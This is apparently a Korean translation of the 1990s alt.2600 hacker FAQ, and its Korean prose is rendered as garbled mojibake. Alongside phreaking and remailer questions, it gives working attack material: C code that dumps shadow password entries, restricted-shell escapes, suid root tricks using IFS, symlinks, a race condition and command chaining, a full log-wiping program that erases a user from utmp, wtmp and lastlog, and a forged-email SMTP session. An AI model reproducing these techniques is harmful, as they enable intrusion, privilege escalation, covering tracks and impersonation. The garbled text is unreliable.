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XXX¿¡¼ÀÇ Ã³À½(default) Æнº¿öµå´Â ¹«¾ùÀΰ¡?
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À͸í ÀçÀü¼Û ¸ÞÀÏ(anonymous remailer)À̶õ ¹«¾ùÀΰ¡?
À͸í ÀçÀü¼Û ¸ÞÀÏÀº ¾îµð¿¡ ÀÖ³ª?
°ü¸®ÀÚ ÀÖ´Â ´º½º±×·ì(moderated newsgroup)¿¡ ¾î¶»°Ô
Æ÷½ºÆÃÀ» Çϳª?
e-mail·Î Usenet¿¡ ¾î¶»°Ô Æ÷½ºÆÃÀ» Çϳª?
¾ÏÈ£ÈµÈ ÆÄÀÏÀÇ Æнº¿öµå´Â ¹«¾ùÀΰ¡?
C/C++ ·Î ½ÇÇàÄڵ带 ¿ªÄÄÆÄÀÏÇÒ ¼ö ÀÖ´Â °¡´É¼ºÀº ¾ø´Â°¡?
MS-WindowsÀÇ Æнº¿öµå ¾ÏÈ£´Â ¾î¶»°Ô µ¿ÀÛÇϳª?
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À¯»ö ±â°è(colored box)´Â ¸ðµÎ ¹«½¼ ±â´ÉÀÌ ÀÖ³ª?
Àç½ÅÈ£(ringback) ¹øÈ£¶õ ¹«¾ùÀΰ¡?
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Àüȼö¸®°øÀÇ Àåºñ¸¦ ¾îµð¼ »ì ¼ö ÀÖ³ª?
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±¹Á¦ Á÷Á¢ ¹øÈ£(International Direct Number)¶õ ¹«¾ùÀΰ¡?
ÁøÇà/¹ÝÀü(forward/reverse) ä³ÎÀ̶õ?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â fsp »çÀÌÆ®´Â ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ´º½º±×·ìÀº ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â telnet »çÀÌÆ®´Â ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â gopher »çÀÌÆ®´Â ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â WWW »çÀÌÆ®´Â ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â IRC ä³ÎÀº ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â BBS´Â ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â Ã¥Àº ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ºñµð¿À´Â ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ¸ÞÀϸµ ¸®½ºÆ®´Â ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ÃâÆǹ°Àº ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â e-zine(ÀüÀÚÀâÁö)´Â ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ±â°üÀº ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ¶óµð¿À ÇÁ·Î±×·¥Àº ¹«¾ùÀΰ¡?
ÇØÄ¿¿¡°Ô °ü½É°¡´Â FAQ(frequentlry asked question)´Â
¹«¾ùÀΰ¡?
ÀÚ±â¶ì(magnetic stripe)ÀÇ ÀÎÄÚ´õ(encoder)¿Í µðÄÚ´õ(decoder)´Â
¾îµð¼ ±¸ÀÔÇϳª?
¹«Áö°³»ö Ã¥Àº ¹«¾ùÀÌ¸ç ¾îµð¼ ±¸ÇÒ ¼ö ÀÖ³ª?
2600ÀÌ ¿Â¶óÀÎ ÇüÅ·ΠÁ¸ÀçÇϴ°¡?
¼Á¡¿¡¼ 2600À» ±¸ÇÒ ¼ö ¾ø´Ù¸é ¾î¶»°Ô ÇØ¾ß Çϳª?
2600À» °¡ÆÇ´ë¿¡¼ »ç´Â °Íº¸´Ù ÁÖ¹®ÇÏ´Â °ÍÀÌ ¿Ö ´õ
ºñ½Ñ°¡?
³»°¡ ¹Ù¸¥ ½Å¿ëÄ«µå ¹øÈ£¸¦ °¡Áö°í ÀÖ´ÂÁö ¾î¶»°Ô ȹÀÎÇϳª?
Àڱ⶧ÀÇ µ¥ÀÌÅÍ ¹èÄ¡´Â ¾î¶² °ÍÀΰ¡?
UNIX¿¡¼ ¾î¶»°Ô Æнº¿öµå ÆÄÀÏ¿¡ Á¢±ÙÇÒ ¼ö ÀÖ³ª?
Ç¥ÁØ UNIX¿¡¼ Æнº¿öµå ÆÄÀÏÀº /etc/passwdÀÌ´Ù. UNIX
Áß¿¡¼ NIS/yp ¶Ç´Â Æнº¿öµå »õµµ¿ì±â´ÉÀ» °®Ãá °æ¿ì¿¡ Æнº¿öµå
Á¤º¸´Â ´Ù¸¥ °÷¿¡ ÀÖ´Ù. Æнº¿öµå ÆÄÀÏÀÇ ¿£Æ®¸®´Â 7°³ÀÇ ÄÝ·ÐÀ¸·Î
±¸ºÐµÈ Çʵ尡 ÀÖ´Ù.
±¸ºÐÇؼ º¸¸é, ÀÌ Æнº¿öµå ÆÄÀÏÀÇ ÁÙÀº ´ÙÀ½°ú °°´Ù.
Username(»ç¿ëÀÚ À̸§)
¾ÏÈ£ÈµÈ Æнº¿öµå (¼±ÅÃÀûÀÎ Æнº¿öµå ¼ö¸í µ¥ÀÌÅÍ)
»ç¿ëÀÚ ¹øÈ£
±×·ì ¹øÈ£
GECOS Á¤º¸
Ȩ µð·ºÅ丮
½©
]
] /etc/passwdÀÇ ¿£Æ®¸®ÀÇ ÀÏ·Ê:
]
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
ÀϹÝÀûÀÎ ¹ÏÀ½°ú´Â »ó¹ÝµÇ°ÚÁö¸¸, UNIXÀÇ Æнº¿öµå ÆÄÀÏÀº
Çص¶ÇÒ ¼ö ¾ø´Ù. UNIX Æнº¿öµå´Â ´Ü¹ÝÇâ ÇÔ¼ö(one way function)À¸·Î
¾ÏȣȵǾî ÀÖ´Ù. ·Î±×ÀÎ ÇÁ·Î±×·¥Àº "password:"¶ó°í Ç¥½ÃµÇ´Â
ÇÁ·ÒÇÁÆ®¿¡¼ ÀԷµǴ Æнº¿öµå¸¦ ¾ÏÈ£ÈÇÏ¿© Æнº¿öµå ÆÄÀÏ¿¡ ¾ÏȣȵÈ
Æнº¿öµå¿Í ºñ±³ÇÑ´Ù. Æнº¿öµå¸¦ ±ú´Â ÇÁ·Î±×·¥(password cracking
program)Àº ´Ü¾îÀå(wordlist)¸¦ ÀÌ¿ëÇÑ´Ù. ´Ü¾îÀå¿¡ ÀÖ´Â ´Ü¾î Çϳª¾¿À»
¾ÏÈ£ÈÇÏ¿© Æнº¿öµå ÆÄÀÏ¿¡ ÀÖ´Â ¾ÏÈ£¿Í ºñ±³ÇÑ´Ù. Áö±Ý±îÁö ³ª¿Í
ÀÖ´Â °¡Àå ÁÁÀº Æнº¿öµå ±ú´Â ÇÁ·Î±×·¥Àº Alec MuffettÀÌ ÀÛ¼ºÇÑ
CrackÀÌ´Ù. DOS¿ë ÇÁ·Î±×·¥À¸·Î´Â CrackJackÀÌ °¡Àå ÁÁ´Ù. CrackJackÀº
ftp¸¦ ÀÌ¿ëÇÏ¿© clark.netÀÇ /ub/jcase/ µð·ºÅ丮¿¡¼ ±¸ÇÒ ¼ö ÀÖ´Ù.
Æнº¿öµå »õµµ¿ì¶õ º¸¾È ½Ã½ºÅÛÀ¸·Î¼ ¾ÏÈ£ÈµÈ /etc/passwdÀÇ
Æнº¿öµå Çʵ尡 Ưº°ÇÑ ¹®ÀڷΠġȯµÇ¾î ÀÖÀ¸¸ç, ½ÇÁ¦ÀÇ Æнº¿öµå´Â
Á¤»óÀûÀÎ »ç¿ëÀÚ°¡ ÀÐÀ» ¼ö ¾ø´Â ÆÄÀÏ¿¡ ÀúÀåµÇ¾î ÀÖ´Ù. ´ëºÎºÐ(ÀüºÎ´Â
¾Æ´Ï°í)ÀÇ ½Ã½ºÅÛ¿¡¼ Æнº¿öµå »õµµ¿ì¸¦ ±ú±â À§Çؼ getpwent()ÇÔ¼ö¸¦
¿¬¼ÓÀûÀ¸·Î ºÎ¸£´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ¿© Æнº¿öµå ÆÄÀÏÀ» ¸¸µé ¼ö
ÀÖ´Ù.
¿¹:
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
»õµµ¿ìÈ µÇ¾î ÀÖ´Â Æнº¿öµå ÆÄÀÏÀº ¾îµð¼ 㳪?
Unix Path(°æ·Î) Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
NIS(Network Information System)Àº ÇöÀçÀÇ À̸§ÀÌ°í
¿¹Àü¿¡´Â yp(Yellow Page)¶ó°í ºÒ¸®¿ü´Ù. NISÀÇ ¸ñÀûÀº ³×Æ®¿öÅ©¿¡¼
¿©·¯ ±â°èµéÀÌ Æнº¿öµå¿Í °°Àº ±¸¼ºÁ¤º¸¸¦ °øÀ¯Çϱâ À§ÇÔÀÌ´Ù. NIS´Â
½Ã½ºÅÛ º¸¾ÈÀ» À§Çؼ ¼³°èµÇ¾î ÀÖÁö ¾Ê´Ù. NIS¸¦ ÀÌ¿ëÇÏ°í ÀÖ´Ù¸é
/etc/passwd ÆÄÀÏ¿¡ ´ÙÀ½°ú °°Àº °ÍÀÌ µé¾î ÀÖ´Ù.
+::0:0:::
½ÇÁ¦ Æнº¿öµå ÆÄÀÏÀ» º¸±â À§Çؼ "ypcat passwd"
¸í·ÉÀ» ÀÌ¿ëÇÏ¸é µÈ´Ù.
Æнº¿öµå ÆÄÀÏ¿¡¼ ½±Ç¥µÚ¿¡ ³ª¿À´Â ÀÌ»óÇÑ ¹®ÀÚµéÀº
¹«¾ùÀΰ¡?
¹®ÀÚ´Â Æнº¿öµå ¼ö¸í(age)À» ³ªÅ¸³»´Â °ÍÀÌ´Ù. Æнº¿öµå
¼ö¸íÀº °ü¸®ÀÚ°¡ Á¤ÇÑ ±âÀÏ ³»¿¡ Æнº¿öµå ÆÄÀÏÀ» ¹Ù²Ùµµ·Ï ÇÑ´Ù.
Æнº¿öµå ¼ö¸íÀº »ç¿ëÀÚ°¡ Æнº¿öµå¸¦ ¹Ù²Ù±â Àü¿¡ Á¤ÇØÁø ½Ã°£¸¸ÅÀº
»ç¿ëÇϵµ·Ï Çϱ⵵ ÇÑ´Ù.
]
] Æнº¿öµå ¼ö¸í ±â´ÉÀÌ µé¾î ÀÖ´Â /etc/passwd ÆÄÀÏÀÇ ÀÏ·Ê
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
¾ÏÈ£ÈµÈ Æнº¿öµå ÇÊµå µÚÀÇ ½°Ç¥¿¡ ÁÖÀÇÇÏÀÚ. ½°Ç¥µÚ¿¡
³ª¿À´Â ¹®ÀÚ´Â ¸ðµÎ Æнº¿öµå ¼ö·É±â¹ýÀ» À§Çؼ »ç¿ëµÈ´Ù.
]
] À§ ¿¹¿¡¼ÀÇ Æнº¿öµå ¼ö¸í ¹®ÀÚ
]
] M.z8
]
4 °³ÀÇ ¹®ÀÚ°¡ ´ÙÀ½°ú °°ÀÌ ¹ø¿ªµÈ´Ù.
1: Æнº¿öµå¸¦ º¯°æÇÏÁö ¾Ê°í »ç¿ëÇÒ ¼ö ÀÖ´Â ÃÖ´ë ÁÖ(week)ÀÇ ¼ö
2: Æнº¿öµå¸¦ º¯°æÇϱâ Àü±îÁö »ç¿ëÇØ¾ß ÇÒ ÃÖ¼Ò ÁÖ(week)ÀÇ ¼ö
3&4: 1970³â ÀÌÈÄ·Î ÁÖÀÇ ¼ö·Î ¸¶Áö¸· Æнº¿öµå°¡
¹Ù²ï ¶§
3°¡Áö Ưº°ÇÑ °æ¿ì°¡ ÀÖ´Ù.
ù ¹ø°¿Í µÎ ¹ø° ¹®ÀÚ°¡ '..'·Î ¼³Á¤µÇ¾î ÀÖÀ» ¶§,
»ç¿ëÀÚ´Â ´ÙÀ½¿¡ ·Î±×ÀÎÇÒ ¶§ Æнº¿öµå¸¦ ¹Ù²ã¾ß¸¸ ÇÑ´Ù. ±×¸®°í³ª¼
Æнº¿öµå ÇÁ·Î±×·¥Àº Æнº¿öµå ¼ö¸í ¹®ÀÚ¸¦ ¾ø¾Ö°í, »ç¿ëÀÚ´Â ´Ù½Ã
»õ·Î¿î Æнº¿öµå ¼ö¸í¿¡ Àû¿ëÀ» ¹Þ°Ô µÈ´Ù.
¼¼ ¹ø°¿Í ³× ¹ø° ¹®ÀÚ°¡ '..'·Î ¼³Á¤µÇ¾î ÀÖÀ» ¶§,
»ç¿ëÀÚ´Â ´ÙÀ½¿¡ ·Î±×ÀÎÇÒ ¶§ Æнº¿öµå¸¦ ¹Ù²ã¾ß ÇÑ´Ù. Æнº¿öµå ÇÁ·Î±×·¥Àº
ù ¹ø° µÎ ¹ø°ÀÇ °æ¿ì¿Í °°Àº ÇൿÀ» ÇÑ´Ù.
¸¸ÀÏ Ã¹ ¹ø° ¹®ÀÚ(MAX)°¡ µÎ ¹ø° ¹®ÀÚ(MIN) º¸´Ù ÀÛÀ»
°æ¿ì, »ç¿ëÀÚ´Â Æнº¿öµå¸¦ ¹Ù±¼ ¼ö ÀÖ´Â Çã°¡°¡ ¹ÚÅ»µÈ´Ù. root¸¸ÀÌ
ÀÌ »ç¿ëÀÚÀÇ Æнº¿öµå¸¦ º¯°æÇÒ ¼ö ÀÖ´Ù.
su ¸í·ÉÀº Æнº¿öµå ¼ö¸í µ¥ÀÌÅ͸¦ °Ë»çÇÏÁö ¾Ê´Â´Ù´Âµ¥
À¯ÀÇÇϱ⠹ٶõ´Ù. ¸»¼ÒµÈ Æнº¿öµå¸¦ °¡Áø °èÁ¤À¸·Î su¸¦ ÇàÇÒ ¼ö
ÀÖ´Ù.
Æнº¿öµå ¼ö¸í ÄÚµå(Password Aging Codes)
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
VMSÀÇ Æнº¿öµå ÆÄÀÏ¿¡ ¾î¶»°Ô Á¢±ÙÇϳª?
VMS¿¡¼ Æнº¿öµå ÆÄÀÏÀº SYS$SYSTEM:SYSUAF.DATÀÌ´Ù.
±×·¯³ª, UNIX¿Í´Â ´Ù¸£°Ô ´ëºÎºÐÀÇ »ç¿ëÀÚ´Â Æнº¿öµå ÆÄÀÏÀ» ÀÐÀ»
¼ö ÀÖ´Â ±ÇÇÑÀÌ ¾ø´Ù.
VMS ¿¡¼´Â ¾î¶»°Ô Æнº¿öµå¸¦ ±ú³ª?
SYS$GETUAF ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© SYSUAF.DAT¿¡ ÀÖ´Â ¾ÏÈ£ÈµÈ Æнº¿öµå¿Í °á°ú¸¦ ºñ±³ÇÏ´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇÑ´Ù.
µÎ °¡Áö ÇÁ·Î±×·¥ÀÌ Àִµ¥, CHECK_PASSWORD ¿Í GUESS_PASSWORDÀÌ´Ù.
VMSÀÇ °ÅÀÇ ¸ðµç °ÍÀ» ·Î±×·Î ³²±æ ¼ö ÀÖ´Ù. SHOW ACCOUNTING
¸í·ÉÀ» ÀÌ¿ëÇÏ¿© ½Ã½ºÅÛÀÇ ·Î±× »óŸ¦ Á¶»çÇÒ ¼ö ÀÖ´Ù. ½Ã½ºÅÛ °¨»ç°¡
º¸¾ÈÀÇ ¸ñÀûÀ¸·Î ·Î±× Á¤º¸¸¦ ³²±â´Â °Í¿¡ ¹ÝÇØ, °è…Á¤ ÀÌ¿ë»óÅ¿¡
´ëÇÑ Á¤º¸¸¦ ³²±â´Â °ÍÀÌ ½Ã½ºÅÛ ¾îÄ«¿îÆÃÀÌ´Ù(CPU ÀÌ¿ë½Ã°£, Æ®¸°ÅÍ
»ç¿ë µî). ¾îÄ«¿îÆÃÀ» ÇϱâÀ§Çؼ´Â ´ÙÀ½°ú °°Àº ÀýÂ÷¸¦ µû¸¥´Ù.
$ SET ACCOUNTING [/ENABLE=(Activity...)]
ÀÌ·¸°Ô Çϸé, SYS$MANAGER:ACCOUNTING>DAT ÆÄÀÏ¿¡ °¨½Ã ·Î±×Á¤º¸¸¦ ³²±ä´Ù. ÀÌ°ÍÀº ¶ÇÇÑ ÀÌÀü ·Î±× ÆÄÀÏÀ» ´Ý°í »õ·Î¿î ¹öÀüÀÇ ·Î±×¸¦ ³²±ä´Ù.
´ÙÀ½°ú °°Àº °ÍÀÌ ·Î±×·Î ³²À» ¼ö ÀÖ´Ù.
BATCH Termination of a batch job
DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process
SUBPROCESS Termination of a subprocess
º¸¾È °¨»ç¸¦ ÀÌ¿ëÇϱâ À§Çؼ´Â
$ SET AUDIT
/ALARM Àº º¸¾È ¿î¿µÀÚ·Î ÁöÁ¤µÈ Å͹̳ο¡ °æ°í¸¦ ¿ï¸®±â À§Çؼ »ç¿ëÇÏ´Â ¿É¼ÇÀÌ´Ù. ´Ù½Ã ¸»Çؼ SECURITY ±ÇÇÑÀÌ ÇÊ¿äÇÔÀ» Àϱú¿ì´Â µ¥ »ç¿ëµÈ´Ù. º¸¾È °¨»ç ±¸¼ºÀ» $ SHOW AUDIT
/ALL¸í·ÉÀ» ÅëÇؼ ¾Ë¼ö ÀÖ´Ù.
º¸¾È °¨»ç´Â ´ÙÀ½°ú °°Àº ÇàÀ§¸¦ ·Î±×·Î ³²±âµµ·Ï ÇÒ
¼ö ÀÖ´Ù.
ACL Access Control List requested events
AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests
VMS¿¡¼ÀÇ ±ÇÇÑÀº ¾î¶² °ÍÀÌ ÀÖ³ª?
ACNT Allows you to restrain accounting messages
ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority
value
BUGCHK Allows you make bug check error log entries
BYPASS Enables you to disregard protections
CMEXEC/
CMKRNL Change to executive or kernel mode. These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
directly.
DETACH This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
EXQUOTA Allows you to exceed your disk quota
GROUP This privilege grants you permission to affect other
processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
LOG_IO Allows you to issue logical input output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global
sections
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you create temporary mailboxes
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the
world
ÇÁ·Î¼¼½º°¡ ¾î¶² ±ÇÇÑÀ¸·Î ¼öÇàÇÏ°í ÀÖ´ÂÁö ¾Ë±â À§Çؼ
´ÙÀ½°ú °°Àº ¸í·ÉÀ» »ç¿ëÇÑ´Ù.
$ show /proc/priv
Á¦ÇÑµÈ ½©¿¡¼ ¾î¶»°Ô ºüÁ® ³ª¿À³ª?
À߸ø ÀÛ¼ºÇÑ Á¦ÇÑ ½©¿¡¼´Â ½©¿¡¼ »ç¿ëÇÏ´Â ±â´ÉÀ» °¡Áø ÇÁ·Î±×·¥À» ¼öÇàÇÔÀ¸·Î¼ ºüÁ®³ª¿Ã ¼ö ÀÖ´Ù. ÁÁÀº ¿¹°¡ viÀÌ´Ù. vi¸¦ ¼öÇàÇÒ ¶§ ´ÙÀ½°ú °°Àº ¸í·ÉÀ» ÀÌ¿ëÇ϶ó.
:set shell=/bikn/sh
±×¸®°í ³ª¼ ´ÙÀ¸¸ð°¡ °°Àº ¸í·ÉÀ» ÀÌ¿ëÇÏ¿© ½©À» ¾ò´Â´Ù.
: shell
Á¦ÇÑ ½©¿¡¼ "cd" ¸í·ÉÀ» »ç¿ëÇÒ ¼ö ¾øµµ·Ï
ÇÑ´Ù¸é ±× °èÁ¤À¸·Î ftp¸¦ Çϸé cd¸¦ ÇÒ ¼ö ÀÖ´Ù.
suid ½ºÅ©¸³Æ®³ª ÇÁ·Î±×·¥¿¡¼ ¾î¶»°Ô rootÀÇ ±ÇÇÑÀ»
¾òÀ» ¼ö ÀÖ³ª?
1. ÇÁ·Î±×·¥¿¡¼ system()À» ÀÌ¿ëÇÏ¿© ´Ù¸¥ ÇÁ·Î±×·¥À» ºÎ¸¥´Ù.¸é, IFS¸¦ º¯°æÇÏ¿© ±× ÇÁ·Î±×·¥À» ¿ì·ÕÇÒ ¼ö ÀÖ´Ù. IFS´Â ³»ºÎ ÇÊµå ±¸ºÐÀÚ(Internal Field Separator)ÀÇ ¾àÀڷμ ½©¿¡¼ Àμö¸¦ ±¸ºÐÇÏ´Â ¹®Àڷμ »ç¿ëÇÏ´Â °ÍÀÌ´Ù.
ÇÁ·Î±×·¥¿¡ ´ÙÀ½°ú °°Àº °ÍÀÌ Æ÷ÇԵȴٰí ÇÏÀÚ.
system("bin/data")
±×¸®°í IFS¸¦ '/'·Î º¯°æÇÏ¸é ½©Àº ¸í·ÉÀ» ´ÙÀ½°ú °°ÀÌ
¹ø¿ªÇÑ´Ù.
bin date
ÀÌÁ¦, ÇÁ·Î±×·¥ Áß¿¡ binÀ̶ó´Â °ÍÀÌ °æ·Î(path)Áß¿¡
ÀÖ´Ù¸é, suid ÇÁ·Î±×·¥Àº /bin/date ÇÁ·Î±×·¥ ´ë½Å binÀ̶ó´Â ÇÁ·Î±×·¥À»
¼öÇàÇÏ°Ô µÈ´Ù.
IFS¸¦ ¹Ù²Ù±â À§Çؼ, ´ÙÀ½°ú °°Àº ¸í·ÉÀ» ÀÌ¿ëÇÑ´Ù.
IFS='/'; export IFS
setenv IFS '/'
export IFS='/'
2. ½ºÅ©¸³Æ®¸¦ -i·Î ¿¬°á(link)ÇÑ´Ù.
"-i"¶ó´Â ÇÁ·Î±×·¥À» ¸¸µé¾î ½Éº¼¸¯ ¸µÅ©(symbolic link)¸¦ ¸¸µç´Ù. "-i"¸¦ ¼öÇàÇÏ¸é ½©(/bin/sh)ÀÌ
»óÈ£ÀÛ¿ë(interactive) ¸ðµå°¡ µÇ°Ô ÇÑ´Ù. ÀÌ ¹æ¹ýÀº
suid(set uid)µÇ¾î ÀÖ´Â ½ºÅ©¸³Æ®¿¡¼¸¸ »ç¿ë°¡´ÉÇÏ´Ù.
¿¹:
% ln suid.sh -i
% -i
#
3. °æÀï Á¶°ÇÀ» ÀÌ¿ëÇÑ´Ù.
Ä¿³Î¿¡¼ /bin/sh¸¦ ·ÎµåÇÒ ¶§ ´Ù¸¥ ÇÁ·Î±×·¥À¸·Î ÇÁ·Î±×·¥¿¡
´ëÇÑ ½Éº¼¸¯ ¸µÅ©¸¦ ¹Ù²Û´Ù.
¿¹:
nice -19 suidprog; ln -s evilprog suidroot
4. ÇÁ·Î±×·¥¿¡ À߸øµÈ ÀÔ·ÂÀ» º¸³½´Ù.
ÇÁ·Î±×·¥°ú ´Ù¸¥ ¸í·ÉÀ» ÇÑ Ä¿¸Çµå ¶óÀο¡¼ ¼öÇàÇÑ´Ù.
¿¹:
suidprog; id
½Ã½ºÅÛ ·Î±×¿¡¼ ³» Á¸À縦 ¾ø¾Ö´Â ¹æ¹ýÀº?
/etc/utmp, /usr/adm/wtmp¿Í /usr/adm/lastlog ÆÄÀÏÀ» º¯°æÇÑ´Ù. À̰͵éÀº ÅؽºÆ® ÆÄÀÏÀÌ ¾Æ´Ï¶ó
¼ vi·Î ÆíÁýÇÒ ¼ö ¾ø´Ù. Ưº°ÇÑ ¸ñÀûÀ» Áö´Ñ ÇÁ·Î±×·¥À»
ÀÛ¼ºÇØ¾ß ÇÑ´Ù.
¿¹:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
À§Á¶ ¸ÞÀÏ(E-mail)Àº ¾î¶»°Ô º¸³»³ª?
¸ÞÀÏÀÌ ¿Â °ÍÀ¸·Î º¸ÀÌ°Ô ÇÒ È£½ºÆ®ÀÇ 25 ¹ø Æ÷Æ®·Î
telnetÀ» ÇÑ´Ù. ´ÙÀ½ ¿¹¿Í °°ÀÌ ¸Þ½ÃÁö¸¦ ÃÄ ³Ö´Â´Ù.
HELO bellcore.com
MAIL FROM:[email protected]
RCPT TO:[email protected]
DATA
From: [email protected] (The Voyager)
Subject: Clipper
Reply-To: [email protected]
Please discontinue your silly Clipper initiative.
.
QUIT
RFC 931¿¡ µû¶ó ±¸ÇöµÈ ½Ã½ºÅÛ¿¡¼ "MAIL FROM:"À» ¼ÓÀÌ´Â °ÍÀº µÇÁö ¾Ê´Â´Ù. Àڽſ¡°Ô ¸ÕÀú À§Á¶ ¸ÞÀÏÀ» º¸³»¼ È®ÀÎÇÑ´Ù.
RFC 822 "Standard for the format of ARPA Internet
text messages"¿¡ ´õ ¸¹Àº Á¤º¸°¡ ÀÖ´Ù.
Usenet¿¡¼´Â ¾î¶»°Ô À§Á¶ ¸Þ½ÃÁö¸¦ Á¶ÀÛÇÏ°í Æ÷½ºÆÃÇÒ
¼ö ÀÖ³ª?
From: Anonymous (Pretending to be: [email protected] (David C Lawrence))
Subject: FAQ: À§Á¶¸¦ ÅëÇÑ ´õ ³ªÀº »î Date: 19 Mar 1995 02:37:09 GMT
